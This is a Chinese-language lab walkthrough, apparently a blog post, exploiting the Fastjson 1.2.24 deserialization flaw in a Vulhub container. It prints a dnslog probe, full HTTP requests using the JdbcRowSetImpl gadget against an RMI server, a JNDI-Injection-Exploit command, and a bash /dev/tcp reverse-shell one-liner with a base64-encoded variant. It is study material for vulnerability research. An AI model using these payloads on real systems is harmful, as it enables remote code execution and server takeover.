目录
前言
测试环境准备
dnslog测试
搭建rmi服务器&准备恶意类
引用JdbcRowSetImpl攻击
反弹shell$命令执行
总结
关键字:fastjson 1.2.24反序列化导致任意命令执行漏洞
注:本次渗透测试全在虚拟机中进行仅用于学习交流,请勿在实际网络中攻击他人服务器。
前言
最原始的需求是将字符串传参解析成json格式的数据 ,但json库不满足现有的功能(很多包都有这样的特点,妙用之法)还支持把字符串解析成javabean;在解析成jacabean的时候内部一些get方法可能被调用。且Fastjson 库还可以通过 @type 注解自动推断出对象对应的具体类型,从而正确地将 JSON 字符串转换成 Java 对象。
示例、
String jsonString = "{\"@type\":\"json.Student\",\"age\":5,\"name\":\"Tom\",\"telephone\":\"123456\"}";JSONObject jsonObject = JSON.parseObject(jsonString);System.out.println(jsonObject);System.out.println(jsonObject.getClass());
输出
然而在实际测试中,我发现不同的java类,fastjson库对其的处理方式还不同,就拿java.net.Inet4Address 这个类举例,{"a":{"@type":"java.net.Inet4Address","val":"xxx.dnslog.cn"}} fastjson最终会调用java.net.Inet4Address类中getByName方法 ,而且传入的host就是val这个dnslog地址。
既然可以指定任意类实例化,而内部某些get方法可以调用,参数还控。 那这就可能引发一些安全上的问题。
本次测试利用fastjson反序列化漏洞,让目标主机执行命令反弹shell。
注:本次渗透测试全在虚拟机中进行仅用于学习交流,请勿在实际网络攻击他人服务器。
测试环境准备
本次以来采用容器平台Vulhub,到Ubuntu虚拟机中vulhub/fastjson/1.2.24-rce目录中执行命令启动漏洞容器:docker-compose up-d
访问站点
dnslog测试
像这个服务以post的方式,打一个dnslog。payload准备:
dnslog:{"a":{"@type":"java.net.Inet4Address","val":"xxx.dnslog.cn"}}
Content-Type: application/json //注意这个头要加上
请求内容payload 参考
POST / HTTP/1.1
Host: 192.168.218.134:8090
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/json
Content-Length: 77{"a":{"@type":"java.net.Inet4Address","val":"f6ac1ab5b7.ipv6.1433.eu.org.."}}
搭建rmi服务器&准备恶意类
1.本次采用JNDI-Injection-Exploit工具,直接一把梭哈。(下载地址:我也是在网上找到的)
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "xxxxxxxxxxxxxxxxxxxxxxxxxx" -A "192.168.218.1"
-C指定让目标主机执行的命令,-A为指定本地监听的IP
2.准备要执行的反弹shell命令
bash -i >& /dev/tcp/<attacker_ip>/<port> 0>&1
在实际的测试中,这条命令始终不成功无法反弹shell。我猜测可能在传输过程中有些字符被转码了。
解决方案:使用base64解码后以bash的方式执行。
将bash -i >& /dev/tcp/192.168.218.1/4444 0>&1 这样的命令base64编码放到下面的位置
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIxOC4xLzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}
在将这个命令被JNDI-Injection-Exploit工具 -C指定,生成rmi服务器。
3.nc在本机上监听4444端口,等待反弹shell的连接
引用JdbcRowSetImpl攻击
将生成rmi服务的地址放入到payload:dataSourceName值中
POST / HTTP/1.1
Host: 192.168.218.134:8090
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/json
Content-Length: 77{
"a":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://http://192.168.218.1:1099/nc78zv",
"autoCommit":true
}
}
把请求包打过去,观察JNDI-Injection-Exploit工具输出的信息
和预期的一直,当服务器请求这个rmi服务时,rmi会返回一个恶意类的网络路径。之后服务器请求这个路径下载试图实例化这个恶意类。log a request to http:......
反弹shell$命令执行
这时查看我们的nc是否反弹了shell
是否可以执行命令
总结
点点关注,纯手写。